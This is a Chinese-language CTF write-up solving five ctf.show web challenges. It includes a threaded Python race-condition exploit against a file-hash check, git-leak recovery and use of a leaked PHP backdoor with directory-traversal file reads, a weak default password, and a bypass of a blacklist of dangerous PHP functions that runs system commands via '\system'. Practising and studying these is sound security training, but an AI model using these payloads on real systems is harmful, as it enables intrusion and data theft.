1.红包题第六弹
作者给了提示
F12查看页面源代码
<html lang="zh-CN">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
<title>ctf.show_红包题第六弹</title>
<script>
function login(s){
var u=document.getElementById("username").value;
var p=document.getElementById("password").value;
var xhr = new XMLHttpRequest();
xhr.open('GET', "login.php?u="+u+"&p="+p);
xhr.responseType = 'arraybuffer';
xhr.onreadystatechange = function getPdfOnreadystatechange(e) {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
var data = (xhr.mozResponseArrayBuffer || xhr.mozResponse ||
xhr.responseArrayBuffer || xhr.response);
if(data){
ctfshow(s,data);
}
}
}
};
xhr.send(null);
}
function ctfshow(token,data){
var oReq = new XMLHttpRequest();
oReq.open("POST", "check.php?token="+token+"&php://input", true);
oReq.onload = function (oEvent) {
if(oReq.status===200){
var res=eval("("+oReq.response+")");
if(res.success ==1 &&res.error!=1){
alert(res.msg);
return;
}
if(res.error ==1){
alert(res.errormsg);
return;
}
}
return;
};
oReq.send(data);
}
</script>
<style>
input{
width: 260px;
height:30px;
background-color: rgb(244,244,244);
}
</style>
</head>
<body>
<center>
<h2>ctf.show_红包题第六弹</h2>
<hr>
<form action="javascript:login('642e92efb79421734881b53e1e1b18b6');" >
<p>用户名:<input type="input" name="username" id="username" ><p/>
<p>密 码:<input type="password" name="password" id="password" ><p/>
<input type="submit" value="登陆" style="margin-left:45px;">
</form>
</center>
</body>
</html>
进行代码审计
点击登录后会触发login函数,该函数会获取username和password字段的值,
使用XMLHttpRequest发起一个GET请求到login.php
,将用户名和密码作为URL参数传递。
如果服务器响应状态为200(成功),则
转换响应数据为ArrayBuffer,并会调用ctfshow函数,传入生成的token和数据
ctfshow函数会执行以下操作:
发起一个post请求到check.php,包含token和表单的php://input数据
如果服务器响应状态为200(成功),则会解析响应json
检查success字段是否为1且error字段不为1.如果是则显示msg,如果error字段为1,则显示errormsg
这是check.php页面。只是一个显示页面,没有入手点,用dirsearch扫目录看看
扫描出来了很多。
发现了web.zip,下载后是check.php的源代码:
function receiveStreamFile($receiveFile){
$streamData = isset($GLOBALS['HTTP_RAW_POST_DATA'])? $GLOBALS['HTTP_RAW_POST_DATA'] : '';
if(empty($streamData)){
$streamData = file_get_contents('php://input');
}
if($streamData!=''){
$ret = file_put_contents($receiveFile, $streamData, true);
}else{
$ret = false;
}
return $ret;
}
if(md5(date("i")) === $token){
$receiveFile = 'flag.dat';
receiveStreamFile($receiveFile);
if(md5_file($receiveFile)===md5_file("key.dat")){
if(hash_file("sha512",$receiveFile)!=hash_file("sha512","key.dat")){
$ret['success']="1";
$ret['msg']="人脸识别成功!$flag";
$ret['error']="0";
echo json_encode($ret);
return;
}
$ret['errormsg']="same file";
echo json_encode($ret);
return;
}
$ret['errormsg']="md5 error";
echo json_encode($ret);
return;
}
$ret['errormsg']="token error";
echo json_encode($ret);
return;
还是进行代码审计
定义了一个receiveStreamFile函数,用于接收通过POST请求上传的文件流数据。如果POST数据为空,它会尝试从php://input获取,然后将获取的数据写入到指定的文件(flag.dat)中。
在主逻辑部分中,检查flag.dat和key.dat的MD5值是否相同,如果不相同,则人脸识别正确,返回包含成功信息的JSON。
如果MD5相同,但SHA-512散列不同,则认为文件内容不同,返回错误消息。
如果所有信息都不同,则返回错误消息,表示token值错误。
总结:这个脚本用于验证一个上传的文件(flag.dat
),通过比较其MD5和SHA-512散列,以及一个预设的key.dat
文件。如果验证通过,返回成功信息;否则,返回错误信息。
由于先对文件进行操作,在进行之后的判断,我们可以利用md5中间判断的极小间隙替换原来flag.dat的数据,让sha512成立,造成条件竞争。
借鉴师傅的payloud:
import requests
import datetime
import threading
import hashlib
# 获取当前时间的分钟
t = datetime.datetime.now().minute
token = hashlib.md5(str(t).encode()).hexdigest()
# 下载key.dat
url = "https://d0d4f863-881d-40db-b1f8-57dfacd08ef7.challenge.ctf.show/"
r1 = requests.get(url + "key.dat")
with open('key.dat', 'wb') as f:
f.write(r1.content)
def upload_data(url, data):
# 通过php://input上传flag.dat的数据
url = f"{url}check.php?token={token}&php://input"
s = requests.post(url, data=data)
print(s.text)
with open('key.dat', 'rb') as f:
data1 = f.read()
for i in range(50):
threading.Thread(target=upload_data, args=(url, data1)).start()
for i in range(50):
# sha512进行判断,让它不相等
data2 = 'We are not equal'
threading.Thread(target=upload_data, args=(url, data2)).start()
得到flag
2. 红包题第七弹
给了一个phpinfo页面,扫描一下目录看看
可以看到有很多git文件,大概率是GIT泄露,Githack在这里不好用,换用Git_Extract
kali安装Git_Extract:
git clone https://gitcode.com/gakki429/Git_Extract.git
命令:
python git_extract.py url/.git/
注意要python2环境,python --version查看版本,update-alternatives --config python切换版本。
且在Git_Extract这个文件目录下。
可以看到确实有GIT文件。
有两个文件,一个是后门,一个是刚刚显示的页面。
用蚁剑连接看看。
有flag.txt,但没有内容,改用高度显示函数读取
构造:
Letmein=highlight_file("../flag.txt"); #../是目录遍历
还可以有其他方法。
Letmein=show_source("../flag.txt");show_source() 函数对文件进行语法高亮显示。 本函数是 highlight_file() 的别名.
Letmein=include("php://filter/resource=../flag.txt"); 伪协议
本题考点:GIT泄露,文件读取,目录遍历
3.萌新专属红包题
一个登录界面
先查看页面源代码,什么都没有,尝试弱口令登录,最后试出来user=admin,密码=admin888
转到:
F12查看源代码
解码:
得到一段KEY,应该就是flag,还需要找其他的。
但是找半天什么都没有,在登录界面抓包登录成功后发现了flag
额。。。。。。
4.红包题 葵花宝典
注册登录,得到flag
5.红包题 耗子尾汁
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-11-30 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-11-30 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
function CTFSHOW_36_D($a,$b){
$dis = array("var_dump","exec","readfile","highlight_file","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents","");
$a = strtolower($a);
if (!in_array($a,$dis,true)) {
forward_static_call_array($a,$b);
}else{
echo 'hacker';
}
}
CTFSHOW_36_D($a,$b);
echo "rlezphp!!!";
hackerrlezphp!!!
代码审计:传入参数a与b,如果a不在黑名单当中,那么则会调用forward_static_call_array函数。
判断a是否调用限制方法,如果没有则将b当做参数给a。
通过命名空间的方式去调用,php中默认命名空间是\,也就是说我们可以通过\system的方式进行调用。
所以:a=\system&b[]=cat flag.php
还可以用forward_static_call_array 套娃
通过a=forward_static_call_array&b[0]=system&b[1][0]=ls
进行嵌套
a=forward_static_call_array&b[0]=system&b[1][0]=cat flag.php
借鉴:https://blog.csdn.net/HAI_WD/article/details/132761165?spm=1001.2014.3001.5502
PHP 命名空间中的类名可以通过三种方式引用:
-
非限定名称,或不包含前缀的类名称,例如 $a=new foo(); 或 foo::staticmethod();。如果当前命名空间是 currentnamespace,foo 将被解析为 currentnamespace\foo。如果使用 foo 的代码是全局的,不包含在任何命名空间中的代码,则 foo 会被解析为foo。 警告:如果命名空间中的函数或常量未定义,则该非限定的函数名称或常量名称会被解析为全局函数名称或常量名称。
-
限定名称,或包含前缀的名称,例如 $a = new subnamespace\foo(); 或 subnamespace\foo::staticmethod();。如果当前的命名空间是 currentnamespace,则 foo 会被解析为 currentnamespace\subnamespace\foo。如果使用 foo 的代码是全局的,不包含在任何命名空间中的代码,foo 会被解析为subnamespace\foo。
-
完全限定名称,或包含了全局前缀操作符的名称,例如, $a = new \currentnamespace\foo(); 或 \currentnamespace\foo::staticmethod();。在这种情况下,foo 总是被解析为代码中的文字名(literal name)currentnamespace\foo。
forward_static_call_array — 调用静态方法且参数作为数组传递